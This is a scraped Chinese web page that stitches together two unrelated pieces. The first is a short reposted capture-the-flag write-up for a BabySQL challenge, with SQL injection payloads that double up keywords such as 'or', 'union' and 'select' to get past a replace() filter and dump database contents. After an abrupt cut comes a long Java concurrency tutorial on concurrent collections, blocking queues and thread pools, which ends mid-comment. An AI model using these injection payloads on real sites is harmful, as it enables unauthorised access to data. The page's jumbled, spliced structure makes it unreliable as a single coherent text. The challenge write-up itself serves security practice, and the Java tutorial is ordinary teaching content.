2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显： 1' uniunionon selselectect 1,2,3 over！正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接：https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...own();});}Arrays.asList(ths).forEach(t->t.start());try {latch.await();} catch (InterruptedException e) {e.printStackTrace();}long end = System.currentTimeMillis();System.out.println(end - start);System.out.println(map.size());} } 2、CopyOnWriteList（写时复制）和CopyOnWriteSet 适用于，高并发是，读的多，写的少的情况 当我们写的时候，将容器复制，让写线程去复制的线程写（写的时候加锁） 而读线程依旧去读旧的(读的时候不加锁) 当写完，将对象指向复制后的已经写完的容器，原来容器销毁 大大提高读的效率 / 写时复制容器 copy on write 多线程环境下，写时效率低，读时效率高 适合写少读多的环境 @author 马士兵/import java.util.ArrayList;import java.util.Arrays;import java.util.List;import java.util.Random;import java.util.Vector;import java.util.concurrent.CopyOnWriteArrayList;public class T02_CopyOnWriteList {public static void main(String[] args) {List<String> lists = //new ArrayList<>(); //这个会出并发问题！//new Vector();new CopyOnWriteArrayList<>();Random r = new Random();Thread[] ths = new Thread[100];for(int i=0; i<ths.length; i++) {Runnable task = new Runnable() {@Overridepublic void run() {for(int i=0; i<1000; i++) lists.add("a" + r.nextInt(10000));} };ths[i] = new Thread(task);}runAndComputeTime(ths);System.out.println(lists.size());}static void runAndComputeTime(Thread[] ths) {long s1 = System.currentTimeMillis();Arrays.asList(ths).forEach(t->t.start());Arrays.asList(ths).forEach(t->{try {t.join();} catch (InterruptedException e) {e.printStackTrace();} });long s2 = System.currentTimeMillis();System.out.println(s2 - s1);} } 3、synchronizedList和ConcurrentLinkedQueue package com.mashibing.juc.c_025;import java.util.ArrayList;import java.util.Collections;import java.util.List;import java.util.Queue;import java.util.concurrent.ConcurrentLinkedQueue;public class T04_ConcurrentQueue {public static void main(String[] args) {List<String> strsList = new ArrayList<>();List<String> strsSync = Collections.synchronizedList(strsList);//加锁ListQueue<String> strs = new ConcurrentLinkedQueue<>();//Concurrent链表队列，就是读快for(int i=0; i<10; i++) {strs.offer("a" + i); //add添加，但是不同点是，此方法会返回一个布尔值}System.out.println(strs);System.out.println(strs.size());System.out.println(strs.poll());//取出，取完后将元素去除System.out.println(strs.size());System.out.println(strs.peek());//取出，但是不会将元素从队列删除System.out.println(strs.size());//双端队列Deque} } 4、LinkedBlockingQueue 链表阻塞队列（无界链表，可以一直装东西，直到内存满（其实，也不是无限，其长度Integer.MaxValue就是上限，毕竟最大就这么大）） 主要体现在put和take方法，put添加的时候，如果队列满了，就阻塞当前线程，直到队列有空位，继续插入。take方法取的时候，如果没有值，就阻塞，等有值了，立马去取 import java.util.Random;import java.util.concurrent.BlockingQueue;import java.util.concurrent.LinkedBlockingQueue;import java.util.concurrent.TimeUnit;public class T05_LinkedBlockingQueue {static BlockingQueue<String> strs = new LinkedBlockingQueue<>();static Random r = new Random();public static void main(String[] args) {new Thread(() -> {for (int i = 0; i < 100; i++) {try {strs.put("a" + i); //如果满了，当前线程就会等待（实现阻塞），等多会有空位，将值插入TimeUnit.MILLISECONDS.sleep(r.nextInt(1000));} catch (InterruptedException e) {e.printStackTrace();} }}, "p1").start();for (int i = 0; i < 5; i++) {new Thread(() -> {for (;;) {try {System.out.println(Thread.currentThread().getName() + " take -" + strs.take()); //取内容，如果空了，当前线程就会等待（实现阻塞）} catch (InterruptedException e) {e.printStackTrace();} }}, "c" + i).start();} }} 5、ArrayBlockingQueue 有界阻塞队列（因为Array需要指定长度） import java.util.Random;import java.util.concurrent.ArrayBlockingQueue;import java.util.concurrent.BlockingQueue;import java.util.concurrent.TimeUnit;public class T06_ArrayBlockingQueue {static BlockingQueue<String> strs = new ArrayBlockingQueue<>(10);static Random r = new Random();public static void main(String[] args) throws InterruptedException {for (int i = 0; i < 10; i++) {strs.put("a" + i);}//strs.put("aaa"); //满了就会等待，程序阻塞//strs.add("aaa");//strs.offer("aaa");strs.offer("aaa", 1, TimeUnit.SECONDS);System.out.println(strs);} } 6、特殊的阻塞队列1：DelayQueue 延时队列（按时间进行调度，就是隔多长时间运行，谁隔的少，谁先） 以下例子中，我们添加线程到队列顺序为t12345，正常情况下，会按照顺序运行，但是这里有了延时时间，也就是时间越短，越先执行 步骤很简单，拿到延时队列 指定构造方法 继承 implements Delayed 重写 compareTo和getDelay import java.util.Calendar;import java.util.Random;import java.util.concurrent.BlockingQueue;import java.util.concurrent.DelayQueue;import java.util.concurrent.Delayed;import java.util.concurrent.TimeUnit;public class T07_DelayQueue {static BlockingQueue<MyTask> tasks = new DelayQueue<>();static Random r = new Random();static class MyTask implements Delayed {String name;long runningTime;MyTask(String name, long rt) {this.name = name;this.runningTime = rt;}@Overridepublic int compareTo(Delayed o) {if(this.getDelay(TimeUnit.MILLISECONDS) < o.getDelay(TimeUnit.MILLISECONDS))return -1;else if(this.getDelay(TimeUnit.MILLISECONDS) > o.getDelay(TimeUnit.MILLISECONDS)) return 1;else return 0;}@Overridepublic long getDelay(TimeUnit unit) {return unit.convert(runningTime - System.currentTimeMillis(), TimeUnit.MILLISECONDS);}@Overridepublic String toString() {return name + " " + runningTime;} }public static void main(String[] args) throws InterruptedException {long now = System.currentTimeMillis();MyTask t1 = new MyTask("t1", now + 1000);MyTask t2 = new MyTask("t2", now + 2000);MyTask t3 = new MyTask("t3", now + 1500);MyTask t4 = new MyTask("t4", now + 2500);MyTask t5 = new MyTask("t5", now + 500);tasks.put(t1);tasks.put(t2);tasks.put(t3);tasks.put(t4);tasks.put(t5);System.out.println(tasks);for(int i=0; i<5; i++) {System.out.println(tasks.take());//获取的是toString方法返回值} }} 7、特殊的阻塞队列2：PriorityQueque 优先队列（二叉树算法，就是排序） import java.util.PriorityQueue;public class T07_01_PriorityQueque {public static void main(String[] args) {PriorityQueue<String> q = new PriorityQueue<>();q.add("c");q.add("e");q.add("a");q.add("d");q.add("z");for (int i = 0; i < 5; i++) {System.out.println(q.poll());} }} 8、特殊的阻塞队列3：SynchronusQueue 同步队列(线程池用处非常大) 此队列容量为0，当插入元素时，必须同时有个线程往外取 就是说，当你往这个队列里面插入一个元素，它就拿着这个元素站着(阻塞)，直到有个取元素的线程来，它就把元素交给它 就是用来同步数据的，也就是线程间交互数据用的一个特殊队列 package com.mashibing.juc.c_025;import java.util.concurrent.BlockingQueue;import java.util.concurrent.SynchronousQueue;public class T08_SynchronusQueue { //容量为0public static void main(String[] args) throws InterruptedException {BlockingQueue<String> strs = new SynchronousQueue<>();new Thread(()->{//这个线程就是消费者，来取值try {System.out.println(strs.take());//和同步队列要值} catch (InterruptedException e) {e.printStackTrace();} }).start();strs.put("aaa"); //阻塞等待消费者消费，就拿着aaa站着，等线程来取//strs.put("bbb");//strs.add("aaa");System.out.println(strs.size());} } 9、特殊的阻塞队列4：TransferQueue 传递队列 此队列加入了一个方法transfer()用来向队列添加元素 但是和put()方法不同的是，put添加完元素就走了 而这个方法，添加完自己就阻塞了，直到有人将这个元素取走，它才继续工作(省去我们手动阻塞) import java.util.concurrent.LinkedTransferQueue;public class T09_TransferQueue {public static void main(String[] args) throws InterruptedException {LinkedTransferQueue<String> strs = new LinkedTransferQueue<>();new Thread(() -> {try {System.out.println(strs.take());} catch (InterruptedException e) {e.printStackTrace();} }).start();strs.transfer("aaa");//放东西到队列，同时阻塞等待消费者线程，取走元素//strs.put("aaa");//如果用put就和普通队列一样，放完东西就走了/new Thread(() -> {try {System.out.println(strs.take());} catch (InterruptedException e) {e.printStackTrace();} }).start();/} } 3、线程池 线程池 由于单独创建线程，十分影响效率，而且无法对线程集中管理，一旦疏落，可能线程无限执行，浪费资源 线程池就是一个存储线程的游泳池，而每个线程就是池子里面的赛道 池子里的线程不执行任何任务，只是提供一个资源 而谁提交了任务，比如我想来游泳，那么池子就给你一个赛道，让你游泳 比如它想练憋气，那么给它一个赛道练憋气 当他们用完，走了，那么后面其它人再过来继续用 这就是线程池，始终只有这几个线程，不做实现，而是借用这几个线程的用户，自己掌控用这些线程资源做什么（提交任务给线程,线程空闲就帮他们完成任务） 线程池的两种类型（两类，不是两个） ThreadPoolExecutor（简称TPE） ForkJoinPool（分解汇总任务(将任务细化，最后汇总结果)，少量线程执行多个任务（子任务，TPE做不到先执行子任务），CPU密集型） Executors（注意这后面有s） 它可以说是线程池工厂类，我们一般通过它创建线程池，并且它为我们封装了线程 1、常用类 Executor ExecutorService 扩展了execute方法，具有一个返回值 规定了异步执行机制，提供了一些执行器方法，比如shutdown()关闭等 但是它不知道执行器中的线程何时执行完 Callable 对Runnable进行了扩展,实现Callable的调用，可以有返回值，表示线程的状态 但是无法返回线程执行结果 Future 获得未来线程执行结果 由此，我们可以得知线程池基本的一个使用步骤 其中service.submit（）:为异步提交，也就是说，主线程该干嘛干嘛，我是异步执行的，和同步不一样（当前线程执行完，主线程才能继续执行，叫同步） futuer.get():获取结果集结果，此时因为异步，主线程执行到这里，结果集可能还没封装好，所以此时如果没有值，就阻塞，直到结果集出来 public static void main(String[] args) throws ExecutionException, InterruptedException {Callable<String> c = new Callable() {@Overridepublic String call() throws Exception {return "Hello Callable";} };ExecutorService service = Executors.newCachedThreadPool();Future<String> future = service.submit(c); //异步System.out.println(future.get());//阻塞service.shutdown();} 2、FutureTask 可充当任务的结果集 上面我们介绍Future是用来得到任务的执行结果的 而FutureTask，可以当做一个任务用，并且返回任务的结果，也就是可以跑线程，然后还可以得到线程结果 public static void main(String[] args) throws InterruptedException, ExecutionException {FutureTask<Integer> task = new FutureTask<>(()->{TimeUnit.MILLISECONDS.sleep(500);return 1000;}); //new Callable () { Integer call();}new Thread(task).start();System.out.println(task.get()); //阻塞} 3、CompletableFuture 非常灵活的任务结果集 一个非常灵活的结果集 他可以将很多执行不同任务的线程的结果进行汇总 比如一个网站，它可以启动多个线程去各大电商网站，比如淘宝，京东，收集某些或某一个商品的价格 最后，将获取的数据进行整合封装 最终，客户就可以通过此网站，获取某类商品在各网站的价格信息 / 假设你能够提供一个服务 这个服务查询各大电商网站同一类产品的价格并汇总展示 @author 马士兵 http://mashibing.com/import java.io.IOException;import java.util.Random;import java.util.concurrent.CompletableFuture;import java.util.concurrent.ExecutionException;import java.util.concurrent.TimeUnit;public class T06_01_CompletableFuture {public static void main(String[] args) throws ExecutionException, InterruptedException {long start, end;/start = System.currentTimeMillis();priceOfTM();priceOfTB();priceOfJD();end = System.currentTimeMillis();System.out.println("use serial method call! " + (end - start));/start = System.currentTimeMillis();CompletableFuture<Double> futureTM = CompletableFuture.supplyAsync(()->priceOfTM());CompletableFuture<Double> futureTB = CompletableFuture.supplyAsync(()->priceOfTB());CompletableFuture<Double> futureJD = CompletableFuture.supplyAsync(()->priceOfJD());CompletableFuture.allOf(futureTM, futureTB, futureJD).join();//当所有结果集都获取到，才汇总阻塞CompletableFuture.supplyAsync(()->priceOfTM()).thenApply(String::valueOf).thenApply(str-> "price " + str).thenAccept(System.out::println);end = System.currentTimeMillis();System.out.println("use completable future! " + (end - start));try {System.in.read();} catch (IOException e) {e.printStackTrace();} }private static double priceOfTM() {delay();return 1.00;}private static double priceOfTB() {delay();return 2.00;}private static double priceOfJD() {delay();return 3.00;}/private static double priceOfAmazon() {delay();throw new RuntimeException("product not exist!");}/private static void delay() {int time = new Random().nextInt(500);try {TimeUnit.MILLISECONDS.sleep(time);} catch (InterruptedException e) {e.printStackTrace();}System.out.printf("After %s sleep!\n", time);} } 4、TPE型线程池1：ThreadPoolExecutor 原理及其参数 线程池由两个集合组成，一个集合存储线程，一个集合存储任务 存储线程：可以规定大小，最多可以有多少个，以及指定核心线程数量（不会被回收） 任务队列：存储任务 细节：初始线程池没有线程，当有一个任务来，线程池起一个线程，又有一个任务来，再起一个线程，直到达到核心线程数量 核心线程数量达到时，新来的任务将存储到任务队列中等待核心线程处理完成，直到任务队列也满了 当任务队列满了，此时再次启动一个线程（非核心线程，一旦空闲，达到指定时间将会消失），直到达到线程最大数量 当线程容器和任务容器都满了，又来了线程，将会执行拒绝策略 上面的细节涉及的所有步骤内容，均由创建线程池的参数执行 下面是ThreadPoolExecutor构造方法参数的源码注释 / 用给定的初始值，创建一个新的线程池 @param corePoolSize 核心线程数量 @param maximumPoolSize 最大线程数量 @param keepAliveTime 当线程数大于核心线程数量时，空闲的线程可生存的时间 @param unit 时间单位 @param workQueue 任务队列，只能包含由execute提交的Runnable任务 @param threadFactory 工厂，用于创建线程给线程池调度的工厂，可以自定义 @param handler 拒绝策略(可以自定义，JDK默认提供4种)，当线程边界和队列容量已经满了，新来线程被阻塞时使用的处理程序/public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler) JDK提供的4种拒绝策略，不常用，一般都是自己定义拒绝策略 Abort：抛异常 Discard：扔掉，不抛异常 DiscardOldest：扔掉排队时间最久的（将队列中排队时间最久的扔掉，然后让新来的进来） CallerRuns：调用者处理任务（谁通过execute方法提交任务，谁处理） ThreadPoolExecutor继承关系 继承关系：ThreadPoolExecutor->AbstractExectorService类->ExectorService接口->Exector接口 Executors（注意这后面有s） 它可以说是线程池工厂类，我们一般通过它创建线程池，并且它为我们封装了线程 看看下面创建线程池，哪里用到了它 使用实例 import java.io.IOException;import java.util.concurrent.;public class T05_00_HelloThreadPool {static class Task implements Runnable {private int i;public Task(int i) {this.i = i;}@Overridepublic void run() {System.out.println(Thread.currentThread().getName() + " Task " + i);try {System.in.read();} catch (IOException e) {e.printStackTrace();} }@Overridepublic String toString() {return "Task{" +"i=" + i +'}';} }public static void main(String[] args) {ThreadPoolExecutor tpe = new ThreadPoolExecutor(2, 4,60, TimeUnit.SECONDS,new ArrayBlockingQueue<Runnable>(4),Executors.defaultThreadFactory(),new ThreadPoolExecutor.CallerRunsPolicy());//创建线程池，核心2个，最大4个，空闲线程存活时间60s，任务队列容量4，使用默认线程工程，创建线程。拒绝策略是JDK提供的for (int i = 0; i < 8; i++) {tpe.execute(new Task(i));//供提交8次任务}System.out.println(tpe.getQueue());//查看任务队列tpe.execute(new Task(100));//提交新的任务System.out.println(tpe.getQueue());tpe.shutdown();//关闭线程池} } 5、TPE型线程池2：SingleThreadPool 单例线程池(只有一个线程) 为什么有单例线程池 有任务队列，有线程池管理机制 Executors（注意这后面有s） 它可以说是线程池工厂类，我们一般通过它创建线程池，并且它为我们封装了线程 看看下面哪里用到了它 /创建单例线程池，扔5个任务进去，查看输出结果，看看有几个线程执行任务/import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;public class T07_SingleThreadPool {public static void main(String[] args) {ExecutorService service = Executors.newSingleThreadExecutor();for(int i=0; i<5; i++) {final int j = i;service.execute(()->{System.out.println(j + " " + Thread.currentThread().getName());});} }} 6、TPE型线程池3：CachedPool 缓存，存储线程池 此线程池没有核心线程，来一个任务启动一个线程（最多Integer.MaxValue，不会放在任务队列，因为任务队列容量为0），每个线程空闲后，只能活60s 实例 import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;public class T07_SingleThreadPool {public static void main(String[] args) {ExecutorService service = Executors.newSingleThreadExecutor();//通过Executors获取池子for(int i=0; i<5; i++) {final int j = i;service.execute(()->{//提交任务System.out.println(j + " " + Thread.currentThread().getName());});}service.shutdown();} } 7、TPE型线程池4：FixedThreadPool 固定线程池 此线次池，用于创建一个固定线程数量的线程池，不会回收 实例 import java.util.ArrayList;import java.util.List;import java.util.concurrent.Callable;import java.util.concurrent.ExecutionException;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.concurrent.Future;public class T09_FixedThreadPool {public static void main(String[] args) throws InterruptedException, ExecutionException {//并发执行long start = System.currentTimeMillis();getPrime(1, 200000); long end = System.currentTimeMillis();System.out.println(end - start);//输出并发执行耗费时间final int cpuCoreNum = 4;//并行执行ExecutorService service = Executors.newFixedThreadPool(cpuCoreNum);MyTask t1 = new MyTask(1, 80000); //1-5 5-10 10-15 15-20MyTask t2 = new MyTask(80001, 130000);MyTask t3 = new MyTask(130001, 170000);MyTask t4 = new MyTask(170001, 200000);Future<List<Integer>> f1 = service.submit(t1);Future<List<Integer>> f2 = service.submit(t2);Future<List<Integer>> f3 = service.submit(t3);Future<List<Integer>> f4 = service.submit(t4);start = System.currentTimeMillis();f1.get();f2.get();f3.get();f4.get();end = System.currentTimeMillis();System.out.println(end - start);//输出并行耗费时间}static class MyTask implements Callable<List<Integer>> {int startPos, endPos;MyTask(int s, int e) {this.startPos = s;this.endPos = e;}@Overridepublic List<Integer> call() throws Exception {List<Integer> r = getPrime(startPos, endPos);return r;} }static boolean isPrime(int num) {for(int i=2; i<=num/2; i++) {if(num % i == 0) return false;}return true;}static List<Integer> getPrime(int start, int end) {List<Integer> results = new ArrayList<>();for(int i=start; i<=end; i++) {if(isPrime(i)) results.add(i);}return results;} } 8、TPE型线程池5：ScheduledPool 预定，延时线程池 根据延时时间（隔多长时间后运行），排序，哪个线程先执行,用户只需要指定核心线程数量 此线程池返回的池对象，和提交任务方法都不一样，比较涉及到时间 import java.util.Random;import java.util.concurrent.Executors;import java.util.concurrent.ScheduledExecutorService;import java.util.concurrent.TimeUnit;public class T10_ScheduledPool {public static void main(String[] args) {ScheduledExecutorService service = Executors.newScheduledThreadPool(4);service.scheduleAtFixedRate(()->{//提交延时任务try {TimeUnit.MILLISECONDS.sleep(new Random().nextInt(1000));} catch (InterruptedException e) {e.printStackTrace();}System.out.println(Thread.currentThread().getName());}, 0, 500, TimeUnit.MILLISECONDS);//指定延时时间和单位，第一个任务延时0毫秒，之后的任务，延时500毫秒} } 9、手写拒绝策略小例子 import java.util.concurrent.;public class T14_MyRejectedHandler {public static void main(String[] args) {ExecutorService service = new ThreadPoolExecutor(4, 4,0, TimeUnit.SECONDS, new ArrayBlockingQueue<>(6),Executors.defaultThreadFactory(),new MyHandler());//将手写拒绝策略传入}static class MyHandler implements RejectedExecutionHandler {//1、继承RejectedExecutionHandler@Overridepublic void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {//2、重写方法//log("r rejected")//伪代码，表示通过log4j.log()报一下日志，拒绝的时间，线程名//save r kafka mysql redis//可以尝试保存队列//try 3 times //可以尝试几次，比如3次，重新去抢队列，3次还不行就丢弃if(executor.getQueue().size() < 10000) {//尝试条件，如果size>10000了,就执行拒绝策略//try put again();//如果小于10000，尝试将其放到队列中} }} } 10、ForkJoinPool线程池1：ForkJoinPool 前面我们讲过线程分为两大类，TPE和FJP ForkJoinPool（分解汇总任务(将任务细化，最后汇总结果)，少量线程执行多个任务（子任务，TPE做不到先执行子任务），CPU密集型） 适合将大任务切分成多个小任务运行 两个方法，fork()：分子任务，将子任务分配到线程池中 join()：当前任务的计算结果，如果有子任务，等子任务结果返回后再汇总 下面实例实现，一百万个随机数求和，由两种方法实现，一种ForkJoinPool分任务并行，一种使用单线程做 import java.io.IOException;import java.util.Arrays;import java.util.Random;import java.util.concurrent.ForkJoinPool;import java.util.concurrent.RecursiveAction;import java.util.concurrent.RecursiveTask;public class T12_ForkJoinPool {//1000000个随机数求和static int[] nums = new int[1000000];//一堆数static final int MAX_NUM = 50000;//分任务时，每个任务的操作量不能多于50000个，否则就继续细分static Random r = new Random();//使用随机数将数组初始化static {for(int i=0; i<nums.length; i++) {nums[i] = r.nextInt(100);}System.out.println("---" + Arrays.stream(nums).sum()); //stream api 单线程就这么做，一个一个加}//分任务，需要继承，可以继承RecursiveAction(不需要返回值，一般用在不需要返回值的场景)或//RecursiveTask(需要返回值，我们用这个，因为我们需要最后获取求和结果)两个更好实现的类，//他俩继承与ForkJoinTaskstatic class AddTaskRet extends RecursiveTask<Long> {private static final long serialVersionUID = 1L;int start, end;AddTaskRet(int s, int e) {start = s;end = e;}@Overrideprotected Long compute() {if(end-start <= MAX_NUM) {//如果任务操作数小于规定的最大操作数，就进行运算，long sum = 0L;for(int i=start; i<end; i++) sum += nums[i];return sum;//返回结果} //如果分配的操作数大于规定，就继续细分（简单的重中点分，两半）int middle = start + (end-start)/2;//获取中间值AddTaskRet subTask1 = new AddTaskRet(start, middle);//传入起始值和中间值，表示一个子任务AddTaskRet subTask2 = new AddTaskRet(middle, end);//中间值和结尾值，表示一个子任务subTask1.fork();//分任务subTask2.fork();//分任务return subTask1.join() + subTask2.join();//最后返回结果汇总} }public static void main(String[] args) throws IOException {/ForkJoinPool fjp = new ForkJoinPool();AddTask task = new AddTask(0, nums.length);fjp.execute(task);/ForkJoinPool fjp = new ForkJoinPool();//创建线程池AddTaskRet task = new AddTaskRet(0, nums.length);//创建任务fjp.execute(task);//传入任务long result = task.join();//返回汇总结果System.out.println(result);//System.in.read();} } 11、ForkJoinPool线程池2：WorkStealingPool 任务偷取线程池 原来的线程池，都是有一个任务队列，而这个不同，它给每个线程都分配了一个任务队列 当某一个线程的任务队列没有任务，并且自己空闲，它就去其它线程的任务队列中偷任务，所以叫任务偷取线程池 细节：当线程自己从自己的任务队列拿任务时，不需要加锁，但是偷任务时，因为有两个线程，可能发生同步问题，需要加锁 此线程继承FJP 实例 import java.io.IOException;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.concurrent.TimeUnit;public class T11_WorkStealingPool {public static void main(String[] args) throws IOException {ExecutorService service = Executors.newWorkStealingPool();System.out.println(Runtime.getRuntime().availableProcessors());service.execute(new R(1000));service.execute(new R(2000));service.execute(new R(2000));service.execute(new R(2000)); //daemonservice.execute(new R(2000));//由于产生的是精灵线程（守护线程、后台线程），主线程不阻塞的话，看不到输出System.in.read(); }static class R implements Runnable {int time;R(int t) {this.time = t;}@Overridepublic void run() {try {TimeUnit.MILLISECONDS.sleep(time);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(time + " " + Thread.currentThread().getName());} }} 12、流式API：ParallelStreamAPI 不懂的请参考：https://blog.csdn.net/grd_java/article/details/110265219 实例 import java.util.ArrayList;import java.util.List;import java.util.Random;public class T13_ParallelStreamAPI {public static void main(String[] args) {List<Integer> nums = new ArrayList<>();Random r = new Random();for(int i=0; i<10000; i++) nums.add(1000000 + r.nextInt(1000000));//System.out.println(nums);long start = System.currentTimeMillis();nums.forEach(v->isPrime(v));long end = System.currentTimeMillis();System.out.println(end - start);//使用parallel stream apistart = System.currentTimeMillis();nums.parallelStream().forEach(T13_ParallelStreamAPI::isPrime);//并行流，将任务切分成子任务执行end = System.currentTimeMillis();System.out.println(end - start);}static boolean isPrime(int num) {for(int i=2; i<=num/2; i++) {if(num % i == 0) return false;}return true;} } 13、总结 总结 Callable相当于一Runnable但是它有返回值 Future：存储执行完产生的结果 FutureTask 相当于Future+Runnable，既可以执行任务，又能获取任务执行的Future结果 CompletableFuture 可以多任务异步，并对多任务控制，整合任务结果，细化完美，比如可以一个任务完成就可以整合结果，也可以所有任务完成才整合结果 4、ThreadPoolExecutor源码解析 依然只讲重点，实际还需要大家按照上篇博客中看源码的方式来看 1、常用变量的解释 // 1. ctl，可以看做一个int类型的数字，高3位表示线程池状态，低29位表示worker数量private final AtomicInteger ctl = new AtomicInteger(ctlOf(RUNNING, 0));// 2. COUNT_BITS，Integer.SIZE为32，所以COUNT_BITS为29private static final int COUNT_BITS = Integer.SIZE - 3;// 3. CAPACITY，线程池允许的最大线程数。1左移29位，然后减1，即为 2^29 - 1private static final int CAPACITY = (1 << COUNT_BITS) - 1;// runState is stored in the high-order bits// 4. 线程池有5种状态，按大小排序如下：RUNNING < SHUTDOWN < STOP < TIDYING < TERMINATEDprivate static final int RUNNING = -1 << COUNT_BITS;private static final int SHUTDOWN = 0 << COUNT_BITS;private static final int STOP = 1 << COUNT_BITS;private static final int TIDYING = 2 << COUNT_BITS;private static final int TERMINATED = 3 << COUNT_BITS;// Packing and unpacking ctl// 5. runStateOf()，获取线程池状态，通过按位与操作，低29位将全部变成0private static int runStateOf(int c) { return c & ~CAPACITY; }// 6. workerCountOf()，获取线程池worker数量，通过按位与操作，高3位将全部变成0private static int workerCountOf(int c) { return c & CAPACITY; }// 7. ctlOf()，根据线程池状态和线程池worker数量，生成ctl值private static int ctlOf(int rs, int wc) { return rs | wc; }/ Bit field accessors that don't require unpacking ctl. These depend on the bit layout and on workerCount being never negative./// 8. runStateLessThan()，线程池状态小于xxprivate static boolean runStateLessThan(int c, int s) {return c < s;}// 9. runStateAtLeast()，线程池状态大于等于xxprivate static boolean runStateAtLeast(int c, int s) {return c >= s;} 2、构造方法 public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler) {// 基本类型参数校验if (corePoolSize < 0 ||maximumPoolSize <= 0 ||maximumPoolSize < corePoolSize ||keepAliveTime < 0)throw new IllegalArgumentException();// 空指针校验if (workQueue == null || threadFactory == null || handler == null)throw new NullPointerException();this.corePoolSize = corePoolSize;this.maximumPoolSize = maximumPoolSize;this.workQueue = workQueue;// 根据传入参数unit和keepAliveTime，将存活时间转换为纳秒存到变量keepAliveTime 中this.keepAliveTime = unit.toNanos(keepAliveTime);this.threadFactory = threadFactory;this.handler = handler;} 3、提交执行task的过程 public void execute(Runnable command) {if (command == null)throw new NullPointerException();/ Proceed in 3 steps: 1. If fewer than corePoolSize threads are running, try to start a new thread with the given command as its first task. The call to addWorker atomically checks runState and workerCount, and so prevents false alarms that would add threads when it shouldn't, by returning false. 2. If a task can be successfully queued, then we still need to double-check whether we should have added a thread (because existing ones died since last checking) or that the pool shut down since entry into this method. So we recheck state and if necessary roll back the enqueuing if stopped, or start a new thread if there are none. 3. If we cannot queue task, then we try to add a new thread. If it fails, we know we are shut down or saturated and so reject the task./int c = ctl.get();// worker数量比核心线程数小，直接创建worker执行任务if (workerCountOf(c) < corePoolSize) {if (addWorker(command, true))return;c = ctl.get();}// worker数量超过核心线程数，任务直接进入队列if (isRunning(c) && workQueue.offer(command)) {int recheck = ctl.get();// 线程池状态不是RUNNING状态，说明执行过shutdown命令，需要对新加入的任务执行reject()操作。// 这儿为什么需要recheck，是因为任务入队列前后，线程池的状态可能会发生变化。if (! isRunning(recheck) && remove(command))reject(command);// 这儿为什么需要判断0值，主要是在线程池构造方法中，核心线程数允许为0else if (workerCountOf(recheck) == 0)addWorker(null, false);}// 如果线程池不是运行状态，或者任务进入队列失败，则尝试创建worker执行任务。// 这儿有3点需要注意：// 1. 线程池不是运行状态时，addWorker内部会判断线程池状态// 2. addWorker第2个参数表示是否创建核心线程// 3. addWorker返回false，则说明任务执行失败，需要执行reject操作else if (!addWorker(command, false))reject(command);} 4、addworker源码解析 private boolean addWorker(Runnable firstTask, boolean core) {retry:// 外层自旋for (;;) {int c = ctl.get();int rs = runStateOf(c);// 这个条件写得比较难懂，我对其进行了调整，和下面的条件等价// (rs > SHUTDOWN) || // (rs == SHUTDOWN && firstTask != null) || // (rs == SHUTDOWN && workQueue.isEmpty())// 1. 线程池状态大于SHUTDOWN时，直接返回false// 2. 线程池状态等于SHUTDOWN，且firstTask不为null，直接返回false// 3. 线程池状态等于SHUTDOWN，且队列为空，直接返回false// Check if queue empty only if necessary.if (rs >= SHUTDOWN &&! (rs == SHUTDOWN &&firstTask == null &&! workQueue.isEmpty()))return false;// 内层自旋for (;;) {int wc = workerCountOf(c);// worker数量超过容量，直接返回falseif (wc >= CAPACITY ||wc >= (core ? corePoolSize : maximumPoolSize))return false;// 使用CAS的方式增加worker数量。// 若增加成功，则直接跳出外层循环进入到第二部分if (compareAndIncrementWorkerCount(c))break retry;c = ctl.get(); // Re-read ctl// 线程池状态发生变化，对外层循环进行自旋if (runStateOf(c) != rs)continue retry;// 其他情况，直接内层循环进行自旋即可// else CAS failed due to workerCount change; retry inner loop} }boolean workerStarted = false;boolean workerAdded = false;Worker w = null;try {w = new Worker(firstTask);final Thread t = w.thread;if (t != null) {final ReentrantLock mainLock = this.mainLock;// worker的添加必须是串行的，因此需要加锁mainLock.lock();try {// Recheck while holding lock.// Back out on ThreadFactory failure or if// shut down before lock acquired.// 这儿需要重新检查线程池状态int rs = runStateOf(ctl.get());if (rs < SHUTDOWN ||(rs == SHUTDOWN && firstTask == null)) {// worker已经调用过了start()方法，则不再创建workerif (t.isAlive()) // precheck that t is startablethrow new IllegalThreadStateException();// worker创建并添加到workers成功workers.add(w);// 更新largestPoolSize变量int s = workers.size();if (s > largestPoolSize)largestPoolSize = s;workerAdded = true;} } finally {mainLock.unlock();}// 启动worker线程if (workerAdded) {t.start();workerStarted = true;} }} finally {// worker线程启动失败，说明线程池状态发生了变化（关闭操作被执行），需要进行shutdown相关操作if (! workerStarted)addWorkerFailed(w);}return workerStarted;} 5、线程池worker任务单元 private final class Workerextends AbstractQueuedSynchronizerimplements Runnable{/ This class will never be serialized, but we provide a serialVersionUID to suppress a javac warning./private static final long serialVersionUID = 6138294804551838833L;/ Thread this worker is running in. Null if factory fails. /final Thread thread;/ Initial task to run. Possibly null. /Runnable firstTask;/ Per-thread task counter /volatile long completedTasks;/ Creates with given first task and thread from ThreadFactory. @param firstTask the first task (null if none)/Worker(Runnable firstTask) {setState(-1); // inhibit interrupts until runWorkerthis.firstTask = firstTask;// 这儿是Worker的关键所在，使用了线程工厂创建了一个线程。传入的参数为当前workerthis.thread = getThreadFactory().newThread(this);}/ Delegates main run loop to outer runWorker /public void run() {runWorker(this);}// 